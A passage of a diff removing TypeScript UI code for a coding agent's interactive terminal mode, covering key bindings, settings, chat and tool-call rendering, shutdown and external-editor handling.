across jiti module boundaries - const customEditor = newEditor as unknown as Record; - if ( - "actionHandlers" in customEditor && - customEditor.actionHandlers instanceof Map - ) { - if (!customEditor.onEscape) { - customEditor.onEscape = () => this.defaultEditor.onEscape?.(); - } - if (!customEditor.onCtrlD) { - customEditor.onCtrlD = () => this.defaultEditor.onCtrlD?.(); - } - if (!customEditor.onPasteImage) { - customEditor.onPasteImage = () => this.defaultEditor.onPasteImage?.(); - } - if (!customEditor.onExtensionShortcut) { - customEditor.onExtensionShortcut = (data: string) => - this.defaultEditor.onExtensionShortcut?.(data); - } - // Copy action handlers (clear, suspend, model switching, etc.) - for (const [action, handler] of this.defaultEditor.actionHandlers) { - (customEditor.actionHandlers as Map void>).set( - action, - handler, - ); - } - } - - this.editor = newEditor; - } else { - // Restore default editor with text from custom editor - this.defaultEditor.setText(currentText); - this.editor = this.defaultEditor; - } - - this.editorContainer.addChild(this.editor as Component); - this.ui.setFocus(this.editor as Component); - this.ui.requestRender(); - } - - /** - * Show an extension error in the UI. - */ - private showExtensionError( - extensionPath: string, - error: string, - stack?: string, - ): void { - const errorMsg = `Extension "${extensionPath}" error: ${error}`; - const errorText = new Text(theme.fg("error", errorMsg), 1, 0); - this.chatContainer.addChild(errorText); - if (stack) { - // Show stack trace in dim color, indented - const stackLines = stack - .split("\n") - .slice(1) // Skip first line (duplicates error message) - .map((line) => theme.fg("dim", ` ${line.trim()}`)) - .join("\n"); - if (stackLines) { - this.chatContainer.addChild(new Text(stackLines, 1, 0)); - } - } - this.ui.requestRender(); - } - - // ========================================================================= - // Key Handlers - // ========================================================================= - - private setupKeyHandlers(): void { - // Set up handlers on defaultEditor - they use this.editor for text access - // so they work correctly regardless of which editor is active - this.defaultEditor.onEscape = () => { - if (this.loadingAnimation) { - this.restoreQueuedMessagesToEditor({ abort: true }); - } else if (this.session.isBashRunning) { - this.session.abortBash(); - } else if (this.isBashMode) { - this.editor.setText(""); - this.isBashMode = false; - this.updateEditorBorderColor(); - } else if (!this.editor.getText().trim()) { - // Double-escape with empty editor triggers /tree, /fork, or nothing based on setting - const action = this.settingsManager.getDoubleEscapeAction(); - if (action !== "none") { - const now = Date.now(); - if (now - this.lastEscapeTime < 500) { - if (action === "tree") { - this.showTreeSelector(); - } else { - this.showUserMessageSelector(); - } - this.lastEscapeTime = 0; - } else { - this.lastEscapeTime = now; - } - } - } - }; - - // Register app action handlers - this.defaultEditor.onAction("clear", () => this.handleCtrlC()); - this.defaultEditor.onCtrlD = () => this.handleCtrlD(); - this.defaultEditor.onAction("suspend", () => this.handleCtrlZ()); - this.defaultEditor.onAction("cycleThinkingLevel", () => - this.cycleThinkingLevel(), - ); - this.defaultEditor.onAction("cycleModelForward", () => - this.cycleModel("forward"), - ); - this.defaultEditor.onAction("cycleModelBackward", () => - this.cycleModel("backward"), - ); - - // Global debug handler on TUI (works regardless of focus) - this.ui.onDebug = () => this.handleDebugCommand(); - this.defaultEditor.onAction("selectModel", () => this.showModelSelector()); - this.defaultEditor.onAction("expandTools", () => - this.toggleToolOutputExpansion(), - ); - this.defaultEditor.onAction("toggleThinking", () => - this.toggleThinkingBlockVisibility(), - ); - this.defaultEditor.onAction("externalEditor", () => - this.openExternalEditor(), - ); - this.defaultEditor.onAction("followUp", () => this.handleFollowUp()); - this.defaultEditor.onAction("dequeue", () => this.handleDequeue()); - this.defaultEditor.onAction("newSession", () => this.handleClearCommand()); - this.defaultEditor.onAction("tree", () => this.showTreeSelector()); - this.defaultEditor.onAction("fork", () => this.showUserMessageSelector()); - this.defaultEditor.onAction("resume", () => this.showSessionSelector()); - - this.defaultEditor.onChange = (text: string) => { - const wasBashMode = this.isBashMode; - this.isBashMode = text.trimStart().startsWith("!"); - if (wasBashMode !== this.isBashMode) { - this.updateEditorBorderColor(); - } - }; - - // Handle clipboard image paste (triggered on Ctrl+V) - this.defaultEditor.onPasteImage = () => { - this.handleClipboardImagePaste(); - }; - } - - private async handleClipboardImagePaste(): Promise { - try { - const image = await readClipboardImage(); - if (!image) { - return; - } - - // Write to temp file - const tmpDir = os.tmpdir(); - const ext = extensionForImageMimeType(image.mimeType) ?? "png"; - const fileName = `pi-clipboard-${crypto.randomUUID()}.${ext}`; - const filePath = path.join(tmpDir, fileName); - fs.writeFileSync(filePath, Buffer.from(image.bytes)); - - // Insert file path directly - this.editor.insertTextAtCursor?.(filePath); - this.ui.requestRender(); - } catch { - // Silently ignore clipboard errors (may not have permission, etc.) - } - } - - getSlashCommandContext(): SlashCommandContext { - return { - session: this.session, - ui: this.ui, - keybindings: this.keybindings, - chatContainer: this.chatContainer, - statusContainer: this.statusContainer, - editorContainer: this.editorContainer, - headerContainer: this.headerContainer, - pendingMessagesContainer: this.pendingMessagesContainer, - editor: this.editor, - defaultEditor: this.defaultEditor, - sessionManager: this.sessionManager, - settingsManager: this.settingsManager, - invalidateFooter: () => this.footer.invalidate(), - showStatus: (message) => this.showStatus(message), - showError: (message) => this.showError(message), - showWarning: (message) => this.showWarning(message), - showSelector: (create) => this.showSelector(create), - updateEditorBorderColor: () => this.updateEditorBorderColor(), - getMarkdownThemeWithSettings: () => this.getMarkdownThemeWithSettings(), - requestRender: () => this.ui.requestRender(), - updateTerminalTitle: () => this.updateTerminalTitle(), - showSettingsSelector: () => this.showSettingsSelector(), - showModelsSelector: async () => this.showModelSelector(), - handleModelCommand: async (searchTerm) => - this.showModelSelector(searchTerm), - showUserMessageSelector: () => this.showUserMessageSelector(), - showTreeSelector: () => this.showTreeSelector(), - showProviderManager: () => - this.showError("Provider manager is unavailable in this build."), - showOAuthSelector: async () => - this.showError("OAuth selector is unavailable in this build."), - showSessionSelector: () => this.showSessionSelector(), - handleClearCommand: () => this.handleClearCommand(), - handleReloadCommand: () => this.handleReloadCommand(), - handleDebugCommand: () => this.handleDebugCommand(), - shutdown: () => this.shutdown(), - executeCompaction: (instructions, isAuto) => - this.executeCompaction(instructions, isAuto), - handleBashCommand: (command, options) => - this.handleBashCommand( - command, - options?.excludeFromContext, - options?.displayCommand, - options?.loginShell, - ), - }; - } - - private showSettingsSelector(): void { - this.showSelector((done) => { - const selector = new SettingsSelectorComponent( - { - autoCompact: this.session.autoCompactionEnabled, - showImages: this.settingsManager.getShowImages(), - autoResizeImages: this.settingsManager.getImageAutoResize(), - blockImages: this.settingsManager.getBlockImages(), - enableSkillCommands: this.settingsManager.getEnableSkillCommands(), - steeringMode: this.session.steeringMode, - followUpMode: this.session.followUpMode, - transport: this.settingsManager.getTransport(), - thinkingLevel: this.session.thinkingLevel, - availableThinkingLevels: this.session.getAvailableThinkingLevels(), - currentTheme: this.settingsManager.getTheme() || "dark", - availableThemes: getAvailableThemes(), - hideThinkingBlock: this.hideThinkingBlock, - collapseChangelog: this.settingsManager.getCollapseChangelog(), - doubleEscapeAction: this.settingsManager.getDoubleEscapeAction(), - treeFilterMode: this.settingsManager.getTreeFilterMode(), - showHardwareCursor: this.settingsManager.getShowHardwareCursor(), - editorPaddingX: this.settingsManager.getEditorPaddingX(), - autocompleteMaxVisible: - this.settingsManager.getAutocompleteMaxVisible(), - respectGitignoreInPicker: - this.settingsManager.getRespectGitignoreInPicker(), - quietStartup: this.settingsManager.getQuietStartup(), - clearOnShrink: this.settingsManager.getClearOnShrink(), - timestampFormat: this.settingsManager.getTimestampFormat(), - proxyFamilyProviders: {}, - }, - { - onAutoCompactChange: (enabled) => { - this.session.setAutoCompactionEnabled(enabled); - this.footer.setAutoCompactEnabled(enabled); - }, - onShowImagesChange: (enabled) => { - this.settingsManager.setShowImages(enabled); - for (const child of this.chatContainer.children) { - if (child instanceof ToolExecutionComponent) { - child.setShowImages(enabled); - } - } - }, - onAutoResizeImagesChange: (enabled) => { - this.settingsManager.setImageAutoResize(enabled); - }, - onBlockImagesChange: (blocked) => { - this.settingsManager.setBlockImages(blocked); - }, - onEnableSkillCommandsChange: (enabled) => { - this.settingsManager.setEnableSkillCommands(enabled); - this.setupAutocomplete(); - }, - onSteeringModeChange: (mode) => { - this.session.setSteeringMode(mode); - }, - onFollowUpModeChange: (mode) => { - this.session.setFollowUpMode(mode); - }, - onTransportChange: (transport) => { - this.settingsManager.setTransport(transport); - this.session.agent.setTransport(transport); - }, - onThinkingLevelChange: (level) => { - this.session.setThinkingLevel(level); - this.footer.invalidate(); - this.updateEditorBorderColor(); - }, - onThemeChange: (themeName) => { - const result = setTheme(themeName, true); - this.settingsManager.setTheme(themeName); - this.ui.invalidate(); - if (!result.success) { - this.showError( - `Failed to load theme "${themeName}": ${result.error}\nFell back to dark theme.`, - ); - } - }, - onThemePreview: (themeName) => { - const result = setTheme(themeName, true); - if (result.success) { - this.ui.invalidate(); - this.ui.requestRender(); - } - }, - onHideThinkingBlockChange: (hidden) => { - this.hideThinkingBlock = hidden; - this.settingsManager.setHideThinkingBlock(hidden); - this.rebuildChatFromMessages(); - }, - onCollapseChangelogChange: (collapsed) => { - this.settingsManager.setCollapseChangelog(collapsed); - }, - onDoubleEscapeActionChange: (action) => { - this.settingsManager.setDoubleEscapeAction(action); - }, - onTreeFilterModeChange: (mode) => { - this.settingsManager.setTreeFilterMode(mode); - }, - onShowHardwareCursorChange: (enabled) => { - this.settingsManager.setShowHardwareCursor(enabled); - this.ui.setShowHardwareCursor(enabled); - }, - onEditorPaddingXChange: (padding) => { - this.settingsManager.setEditorPaddingX(padding); - this.defaultEditor.setPaddingX(padding); - if (this.editor !== this.defaultEditor) { - this.editor.setPaddingX?.(padding); - } - }, - onAutocompleteMaxVisibleChange: (maxVisible) => { - this.settingsManager.setAutocompleteMaxVisible(maxVisible); - this.defaultEditor.setAutocompleteMaxVisible(maxVisible); - if (this.editor !== this.defaultEditor) { - this.editor.setAutocompleteMaxVisible?.(maxVisible); - } - }, - onRespectGitignoreInPickerChange: (enabled) => { - this.settingsManager.setRespectGitignoreInPicker(enabled); - this.autocompleteProvider?.setRespectGitignore(enabled); - }, - onQuietStartupChange: (enabled) => { - this.settingsManager.setQuietStartup(enabled); - }, - onClearOnShrinkChange: (enabled) => { - this.settingsManager.setClearOnShrink(enabled); - this.ui.setClearOnShrink(enabled); - }, - onTimestampFormatChange: (format) => { - this.settingsManager.setTimestampFormat(format); - }, - onProxyFamilyProviderChange: (familyPrefix, provider) => { - this.settingsManager.setProxyFamilyProvider(familyPrefix, [ - provider, - ]); - }, - onCancel: () => { - done(); - this.ui.requestRender(); - }, - }, - ); - return { component: selector, focus: selector.getSettingsList() }; - }); - } - - private setupEditorSubmitHandler(): void { - setupEditorSubmitHandlerController(this as any); - } - - private subscribeToAgent(): void { - let eventQueue: Promise = Promise.resolve(); - this.unsubscribe = this.session.subscribe((event) => { - eventQueue = eventQueue - .then(() => this.handleEvent(event)) - .catch(() => {}); - }); - } - - private async handleEvent(event: AgentSessionEvent): Promise { - await handleAgentEvent(this as any, event); - } - - /** Extract text content from a user message */ - private getUserMessageText(message: Message): string { - if (message.role !== "user") return ""; - const textBlocks = - typeof message.content === "string" - ? [{ type: "text", text: message.content }] - : message.content.filter((c: { type: string }) => c.type === "text"); - return textBlocks.map((c) => (c as { text: string }).text).join(""); - } - - /** - * Show a status message in the chat. - * - * If multiple status messages are emitted back-to-back (without anything else being added to the chat), - * we update the previous status line instead of appending new ones to avoid log spam. - */ - private showStatus(message: string, options?: { append?: boolean }): void { - const append = options?.append ?? false; - const children = this.chatContainer.children; - const last = - children.length > 0 ? children[children.length - 1] : undefined; - const secondLast = - children.length > 1 ? children[children.length - 2] : undefined; - - if ( - !append && - last && - secondLast && - last === this.lastStatusText && - secondLast === this.lastStatusSpacer - ) { - this.lastStatusText.setText(theme.fg("dim", message)); - this.ui.requestRender(); - return; - } - - const spacer = new Spacer(1); - const text = new Text(theme.fg("dim", message), 1, 0); - this.chatContainer.addChild(spacer); - this.chatContainer.addChild(text); - this.lastStatusSpacer = spacer; - this.lastStatusText = text; - this.ui.requestRender(); - } - - private addMessageToChat( - message: AgentMessage, - options?: { populateHistory?: boolean }, - ): void { - switch (message.role) { - case "bashExecution": { - const component = new BashExecutionComponent( - message.command, - this.ui, - message.excludeFromContext, - ); - if (message.output) { - component.appendOutput(message.output); - } - component.setComplete( - message.exitCode, - message.cancelled, - message.truncated - ? ({ truncated: true } as TruncationResult) - : undefined, - message.fullOutputPath, - ); - this.chatContainer.addChild(component); - break; - } - case "custom": { - if (message.display) { - const renderer = this.session.extensionRunner?.getMessageRenderer( - message.customType, - ); - const component = new CustomMessageComponent( - message, - renderer, - this.getMarkdownThemeWithSettings(), - ); - component.setExpanded(this.toolOutputExpanded); - this.chatContainer.addChild(component); - } - break; - } - case "compactionSummary": { - this.chatContainer.addChild(new Spacer(1)); - const component = new CompactionSummaryMessageComponent( - message, - this.getMarkdownThemeWithSettings(), - ); - component.setExpanded(this.toolOutputExpanded); - this.chatContainer.addChild(component); - break; - } - case "branchSummary": { - this.chatContainer.addChild(new Spacer(1)); - const component = new BranchSummaryMessageComponent( - message, - this.getMarkdownThemeWithSettings(), - ); - component.setExpanded(this.toolOutputExpanded); - this.chatContainer.addChild(component); - break; - } - case "user": { - const textContent = this.getUserMessageText(message); - if (textContent) { - const skillBlock = parseSkillBlock(textContent); - if (skillBlock) { - // Render skill block (collapsible) - this.chatContainer.addChild(new Spacer(1)); - const component = new SkillInvocationMessageComponent( - skillBlock, - this.getMarkdownThemeWithSettings(), - ); - component.setExpanded(this.toolOutputExpanded); - this.chatContainer.addChild(component); - // Render user message separately if present - if (skillBlock.userMessage) { - const userComponent = new UserMessageComponent( - skillBlock.userMessage, - this.getMarkdownThemeWithSettings(), - message.timestamp, - this.settingsManager.getTimestampFormat(), - ); - this.chatContainer.addChild(userComponent); - } - } else { - const userComponent = new UserMessageComponent( - textContent, - this.getMarkdownThemeWithSettings(), - message.timestamp, - this.settingsManager.getTimestampFormat(), - ); - this.chatContainer.addChild(userComponent); - } - if (options?.populateHistory) { - this.editor.addToHistory?.(textContent); - } - } - break; - } - case "assistant": { - const assistantComponent = new AssistantMessageComponent( - message, - this.hideThinkingBlock, - this.getMarkdownThemeWithSettings(), - this.settingsManager.getTimestampFormat(), - ); - this.chatContainer.addChild(assistantComponent); - break; - } - case "toolResult": { - // Tool results are rendered inline with tool calls, handled separately - break; - } - default: { - const _exhaustive: never = message; - } - } - this.trimChatHistory(); - } - - /** - * Remove oldest components when chat exceeds MAX_CHAT_COMPONENTS. - * Only render-components are removed — session data stays in SessionManager. - */ - private trimChatHistory(): void { - while ( - this.chatContainer.children.length > InteractiveMode.MAX_CHAT_COMPONENTS - ) { - const oldest = this.chatContainer.children[0]; - this.chatContainer.removeChild(oldest); - } - } - - /** - * Render session context to chat. Used for initial load and rebuild after compaction. - * @param sessionContext Session context to render - * @param options.updateFooter Update footer state - * @param options.populateHistory Add user messages to editor history - */ - private renderSessionContext( - sessionContext: SessionContext, - options: { updateFooter?: boolean; populateHistory?: boolean } = {}, - ): void { - this.pendingTools.clear(); - - if (options.updateFooter) { - this.footer.invalidate(); - this.updateEditorBorderColor(); - } - - for (const message of sessionContext.messages) { - // Assistant messages need special handling for tool calls - if (message.role === "assistant") { - this.addMessageToChat(message); - const modelLabel = - message.provider && message.model - ? `${message.provider}/${message.model}` - : undefined; - // Render tool call components - for (const content of message.content) { - if (content.type === "toolCall") { - const component = new ToolExecutionComponent( - content.name, - content.arguments, - { - showImages: this.settingsManager.getShowImages(), - modelLabel, - startedAt: message.timestamp, - }, - this.getRegisteredToolDefinition(content.name), - this.ui, - ); - component.setExpanded(this.toolOutputExpanded); - this.chatContainer.addChild(component); - - if ( - message.stopReason === "aborted" || - message.stopReason === "error" - ) { - let errorMessage: string; - if (message.stopReason === "aborted") { - const retryAttempt = this.session.retryAttempt; - errorMessage = - retryAttempt > 0 - ? `Aborted after ${retryAttempt} retry attempt${retryAttempt > 1 ? "s" : ""}` - : "Operation aborted"; - } else { - errorMessage = message.errorMessage || "Error"; - } - component.updateResult({ - content: [{ type: "text", text: errorMessage }], - isError: true, - }); - } else { - this.pendingTools.set(content.id, component); - } - } else if (content.type === "serverToolUse") { - // Server-side tool (e.g., native web search) - const component = new ToolExecutionComponent( - content.name, - content.input ?? {}, - { - showImages: this.settingsManager.getShowImages(), - modelLabel, - startedAt: message.timestamp, - }, - undefined, - this.ui, - ); - component.setExpanded(this.toolOutputExpanded); - this.chatContainer.addChild(component); - // Find matching webSearchResult in this message's content - const resultBlock = message.content.find( - (c) => c.type === "webSearchResult" && c.toolUseId === content.id, - ); - if (resultBlock && resultBlock.type === "webSearchResult") { - const searchContent = resultBlock.content; - const isError = - searchContent && - typeof searchContent === "object" && - "type" in (searchContent as any) && - (searchContent as any).type === "web_search_tool_result_error"; - const resultText = this.formatWebSearchResult(searchContent); - component.updateResult({ - content: [{ type: "text", text: resultText }], - isError: !!isError, - }); - } else { - // No result yet (aborted stream?) — show as pending - this.pendingTools.set(content.id, component); - } - } - } - } else if (message.role === "toolResult") { - // Match tool results to pending tool components - const component = this.pendingTools.get(message.toolCallId); - if (component) { - component.updateResult(message); - this.pendingTools.delete(message.toolCallId); - } - } else { - // All other messages use standard rendering - this.addMessageToChat(message, options); - } - } - - this.pendingTools.clear(); - this.trimChatHistory(); - this.ui.requestRender(); - } - - renderInitialMessages(): void { - // Get aligned messages and entries from session context - const context = this.sessionManager.buildSessionContext(); - this.renderSessionContext(context, { - updateFooter: true, - populateHistory: true, - }); - this.populatePinnedFromMessages(context.messages); - - // Show compaction info if session was compacted - const allEntries = this.sessionManager.getEntries(); - const compactionCount = allEntries.filter( - (e) => e.type === "compaction", - ).length; - if (compactionCount > 0) { - const times = - compactionCount === 1 ? "1 time" : `${compactionCount} times`; - this.showStatus(`Session compacted ${times}`); - } - } - - async getUserInput(): Promise { - return new Promise((resolve) => { - this.onInputCallback = (text: string) => { - this.onInputCallback = undefined; - resolve(text); - }; - }); - } - - private rebuildChatFromMessages(): void { - this.chatContainer.clear(); - this.pinnedMessageContainer.clear(); - const context = this.sessionManager.buildSessionContext(); - this.renderSessionContext(context); - // Pinned content NOT re-populated here — the streaming lifecycle in - // chat-controller.ts manages the pinned zone during active work. - // populatePinnedFromMessages() remains in renderInitialMessages() - // for the session-resume case at startup. - } - - /** - * After rebuilding chat from messages, pin the last assistant text above the - * editor if tool results would otherwise push it out of the viewport. - */ - private populatePinnedFromMessages(messages: AgentMessage[]): void { - this.pinnedMessageContainer.clear(); - - // Walk backwards to find the last assistant message - let lastAssistant: AssistantMessage | undefined; - for (let i = messages.length - 1; i >= 0; i--) { - const msg = messages[i]; - if (msg && "role" in msg && msg.role === "assistant") { - lastAssistant = msg as AssistantMessage; - break; - } - } - if (!lastAssistant) return; - - // Check if any tool calls follow the last text block - const content = lastAssistant.content; - let lastTextIndex = -1; - let hasToolAfterText = false; - for (let i = 0; i < content.length; i++) { - if (content[i].type === "text") lastTextIndex = i; - } - if (lastTextIndex >= 0) { - for (let i = lastTextIndex + 1; i < content.length; i++) { - if ( - content[i].type === "toolCall" || - content[i].type === "serverToolUse" - ) { - hasToolAfterText = true; - break; - } - } - } - if (!hasToolAfterText || lastTextIndex < 0) return; - - const textBlock = content[lastTextIndex] as { type: "text"; text: string }; - const text = textBlock.text?.trim(); - if (!text) return; - - this.pinnedMessageContainer.addChild( - new DynamicBorder((str: string) => theme.fg("dim", str), "Latest Output"), - ); - this.pinnedMessageContainer.addChild( - new Markdown(text, 1, 0, this.getMarkdownThemeWithSettings()), - ); - } - - // ========================================================================= - // Key handlers - // ========================================================================= - - private handleCtrlC(): void { - const now = Date.now(); - if (now - this.lastSigintTime < 500) { - void this.shutdown(); - } else { - this.clearEditor(); - this.lastSigintTime = now; - } - } - - private handleCtrlD(): void { - // Only called when editor is empty (enforced by CustomEditor) - void this.shutdown(); - } - - /** - * Gracefully shutdown the agent. - * Emits shutdown event to extensions, then exits. - */ - private isShuttingDown = false; - - private registerSignalHandlers(): void { - this.unregisterSignalHandlers(); - const signals: NodeJS.Signals[] = ["SIGTERM"]; - if (process.platform !== "win32") signals.push("SIGHUP"); - for (const signal of signals) { - const handler = () => { - void this.shutdown(); - }; - process.on(signal, handler); - this.signalCleanupHandlers.push(() => process.off(signal, handler)); - } - } - - private unregisterSignalHandlers(): void { - for (const cleanup of this.signalCleanupHandlers) cleanup(); - this.signalCleanupHandlers = []; - } - - private async shutdown(): Promise { - const shutdownBehavior = this.options.shutdownBehavior ?? "exit_process"; - if (shutdownBehavior === "ignore") { - this.showStatus("Quit is unavailable in the browser-attached terminal"); - return; - } - - if (this.isShuttingDown) return; - this.isShuttingDown = true; - this.unregisterSignalHandlers(); - killTrackedDetachedChildren(); - - // Flush any queued settings writes before shutdown - await this.settingsManager.flush(); - - // Emit shutdown event to extensions - const extensionRunner = this.session.extensionRunner; - if (extensionRunner?.hasHandlers("session_shutdown")) { - await extensionRunner.emit({ - type: "session_shutdown", - }); - } - - // Wait for any pending renders to complete - // requestRender() uses process.nextTick(), so we wait one tick - await new Promise((resolve) => process.nextTick(resolve)); - - // Drain any in-flight Kitty key release events before stopping. - // This prevents escape sequences from leaking to the parent shell over slow SSH. - await this.ui.terminal.drainInput(1000); - - this.stop(); - if (shutdownBehavior === "stop_ui") { - return; - } - - // Kill ALL descendant processes to prevent orphans (next-server, pnpm dev, etc.) - try { - const descendants = listDescendants(process.pid); - for (const childPid of descendants) { - try { - process.kill(childPid, "SIGTERM"); - } catch {} - } - if (descendants.length > 0) { - await new Promise((resolve) => setTimeout(resolve, 500)); - for (const childPid of descendants) { - try { - process.kill(childPid, "SIGKILL"); - } catch {} - } - } - } catch {} - - process.exit(0); - } - - private handleCtrlZ(): void { - // On Windows, SIGTSTP doesn't exist - Ctrl+Z is not supported - if (process.platform === "win32") { - return; - } - - // Ignore SIGINT while suspended so Ctrl+C in the terminal does not - // kill the backgrounded process. The handler is removed on resume. - const ignoreSigint = () => {}; - process.on("SIGINT", ignoreSigint); - - try { - // Set up handler to restore TUI when resumed - process.once("SIGCONT", () => { - process.removeListener("SIGINT", ignoreSigint); - this.ui.start(); - this.ui.requestRender(true); - }); - - // Stop the TUI (restore terminal to normal mode) - this.ui.stop(); - - // Send SIGTSTP to process group (pid=0 means all processes in group) - process.kill(0, "SIGTSTP"); - } catch { - // If suspend fails (e.g. SIGTSTP not supported), ensure the - // SIGINT listener doesn't leak. - process.removeListener("SIGINT", ignoreSigint); - } - } - - private async handleFollowUp(): Promise { - const text = ( - this.editor.getExpandedText?.() ?? this.editor.getText() - ).trim(); - if (!text) return; - - if (text.startsWith("/") && !this.isKnownSlashCommand(text)) { - const command = text.split(/\s/)[0]; - this.showError( - `Unknown command: ${command}. Use slash autocomplete to see available commands.`, - ); - return; - } - - // Queue input during compaction (extension commands execute immediately) - if (this.session.isCompacting) { - if (this.isExtensionCommand(text)) { - this.editor.addToHistory?.(text); - this.editor.setText(""); - await this.session.prompt(text); - } else { - this.queueCompactionMessage(text, "followUp"); - } - return; - } - - // Alt+Enter queues a follow-up message (waits until agent finishes) - // This handles extension commands (execute immediately), prompt template expansion, and queueing - if (this.session.isStreaming) { - this.editor.addToHistory?.(text); - this.editor.setText(""); - await this.session.prompt(text, { streamingBehavior: "followUp" }); - this.updatePendingMessagesDisplay(); - this.ui.requestRender(); - } - // If not streaming, Alt+Enter acts like regular Enter (trigger onSubmit) - else if (this.editor.onSubmit) { - this.editor.onSubmit(text); - } - } - - private handleDequeue(): void { - const restored = this.restoreQueuedMessagesToEditor(); - if (restored === 0) { - this.showStatus("No queued messages to restore"); - } else { - this.showStatus( - `Restored ${restored} queued message${restored > 1 ? "s" : ""} to editor`, - ); - } - } - - private updateEditorBorderColor(): void { - if (this.isBashMode) { - this.editor.borderColor = theme.getBashModeBorderColor(); - } else { - const level = this.session.thinkingLevel || "off"; - this.editor.borderColor = theme.getThinkingBorderColor(level); - } - this.ui.requestRender(); - } - - private cycleThinkingLevel(): void { - const newLevel = this.session.cycleThinkingLevel(); - if (newLevel === undefined) { - this.showStatus("Current model does not support thinking"); - } else { - this.footer.invalidate(); - this.updateEditorBorderColor(); - this.showStatus(`Thinking level: ${newLevel}`); - } - } - - private async cycleModel(direction: "forward" | "backward"): Promise { - try { - const result = await this.session.cycleModel(direction); - if (result === undefined) { - const msg = - this.session.scopedModels.length > 0 - ? "Only one model in scope" - : "Only one model available"; - this.showStatus(msg); - } else { - this.footer.invalidate(); - this.updateEditorBorderColor(); - const thinkingStr = - result.model.reasoning && result.thinkingLevel !== "off" - ? ` (thinking: ${result.thinkingLevel})` - : ""; - this.showStatus( - `Switched to ${result.model.name || result.model.id}${thinkingStr}`, - ); - } - } catch (error) { - this.showError(error instanceof Error ? error.message : String(error)); - } - } - - private toggleToolOutputExpansion(): void { - this.setToolsExpanded(!this.toolOutputExpanded); - } - - private setToolsExpanded(expanded: boolean): void { - this.toolOutputExpanded = expanded; - for (const child of this.chatContainer.children) { - if (isExpandable(child)) { - child.setExpanded(expanded); - } - } - this.ui.requestRender(); - } - - private toggleThinkingBlockVisibility(): void { - this.hideThinkingBlock = !this.hideThinkingBlock; - this.settingsManager.setHideThinkingBlock(this.hideThinkingBlock); - - // Rebuild chat from session messages - this.chatContainer.clear(); - this.rebuildChatFromMessages(); - - // If streaming, re-add the streaming component with updated visibility and re-render - if (this.streamingComponent && this.streamingMessage) { - this.streamingComponent.setHideThinkingBlock(this.hideThinkingBlock); - this.streamingComponent.updateContent(this.streamingMessage); - this.chatContainer.addChild(this.streamingComponent); - } - - this.showStatus( - `Thinking blocks: ${this.hideThinkingBlock ? "hidden" : "visible"}`, - ); - } - - private openExternalEditor(): void { - // Determine editor (respect $VISUAL, then $EDITOR) - const editorCmd = process.env.VISUAL || process.env.EDITOR; - if (!editorCmd) { - let msg = - "No editor configured. Set $VISUAL or $EDITOR environment variable."; - if (process.env.TERM_PROGRAM === "iTerm.app") { - msg += - "\n\nTip: If you meant to open the SF dashboard (Ctrl+Alt+G), set Left Option Key to" + - ' "Esc+" in iTerm2 → Profiles → Keys. With the default "Normal" setting,' + - " Ctrl+Alt+G sends Ctrl+G instead."; - } - this.showWarning(msg); - return; - } - - const currentText = - this.editor.getExpandedText?.() ?? this.editor.getText(); - const tmpFile = path.join(os.tmpdir(), `pi-editor-${Date.now()}.pi.md`); - - try { - // Write current content to temp file - fs.writeFileSync(tmpFile, currentText, "utf-8"); - - // Stop TUI to release terminal - this.ui.stop(); - - // Split by space to support editor arguments (e.g., "code --wait") - const [editor, ...editorArgs] = editorCmd.split(" "); - - // Spawn editor synchronously with inherited stdio for interactive editing - const result = spawnSync(editor, [...editorArgs, tmpFile], { - stdio: "inherit", - shell: process.platform === "win32", - }); - - // On successful exit (status 0), replace editor content - if (result.status === 0) { - const newContent = fs.readFileSync(tmpFile, "utf-8").replace(/\n$/, ""); - this.editor.setText(newContent); - } - // On non-zero exit, keep original text (no action needed) - } finally { - // Clean up temp file - try { - fs.unlinkSync(tmpFile); - } catch { - // Ignore cleanup errors - } - - // Restart TUI - this.ui.start(); - // Force full re-render since external editor uses alternate screen - this.ui.requestRender(true); - } - } - - // ========================================================================= - // UI helpers - // ========================================================================= - - clearEditor(): void { - this.editor.setText(""); - this.ui.requestRender(); - } - - showError(errorMessage: string): void { - this.chatContainer.addChild(new Spacer(1)); - this.chatContainer.addChild( - new Text(theme.fg("error", `Error: ${errorMessage}`), 1, 0), - ); - this.ui.requestRender(); - } - - showWarning(warningMessage: string): void { - this.chatContainer.addChild(new Spacer(1)); - this.chatContainer.addChild( - new Text(theme.fg("warning", `Warning: ${warningMessage}`), 1, 0), - ); - this.ui.requestRender(); - } - - showTip(message: string): void { - this.chatContainer.addChild(new Spacer(1)); - this.chatContainer.addChild( - new Text(theme.fg("dim", `💡 ${message}`), 1, 0), - ); - this.ui.requestRender(); - } - - getContextPercent(): number | undefined { - return this.session.getContextUsage()?.percent ?? undefined; - } - - showNewVersionNotification(newVersion: string): void { - const action = theme.fg( - "accent", - getUpdateInstruction("@singularity-forge/pi-coding-agent"), - ); - const updateInstruction = - theme.fg("muted", `New version ${newVersion} is available. `) + action; - const changelogUrl = theme.fg( - "accent", - "https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/CHANGELOG.md", - ); - const changelogLine = theme.fg("muted", "Changelog: ") + changelogUrl; - - this.chatContainer.addChild(new Spacer(1)); - this.chatContainer.addChild( - new DynamicBorder((text) => theme.fg("warning", text)), - ); - this.chatContainer.addChild( - new Text( - `${theme.bold(theme.fg("warning", "Update Available"))}\n${updateInstruction}\n${changelogLine}`, - 1, - 0, - ), - ); - this.chatContainer.addChild( - new DynamicBorder((text) => theme.fg("warning", text)), - ); - this.ui.requestRender(); - } - - /** - * Get all queued messages (read-only). - * Combines session queue and compaction queue. - */ - private getAllQueuedMessages(): { steering: string[]; followUp: string[] } { - return { - steering: [ - ...this.session.getSteeringMessages(), - ...this.compactionQueuedMessages - .filter((msg) => msg.mode === "steer") - .map((msg) => msg.text), - ], - followUp: [ - ...this.session.getFollowUpMessages(), - ...this.compactionQueuedMessages - .filter((msg) => msg.mode === "followUp") - .map((msg) => msg.text), - ], - }; - } - - /** - * Clear all queued messages and return their contents. - * Clears both session queue and compaction queue. - */ - private clearAllQueues(): { steering: string[]; followUp: string[] } { - const { steering, followUp } = this.session.clearQueue(); - const compactionSteering = this.compactionQueuedMessages - .filter((msg) => msg.mode === "steer") - .map((msg) => msg.text); - const compactionFollowUp = this.compactionQueuedMessages - .filter((msg) => msg.mode === "followUp") - .map((msg) => msg.text); - this.compactionQueuedMessages = []; - return { - steering: [...steering, ...compactionSteering], - followUp: [...followUp, ...compactionFollowUp], - }; - } - - private updatePendingMessagesDisplay(): void { - this.pendingMessagesContainer.clear(); - const { steering: steeringMessages, followUp: followUpMessages } = - 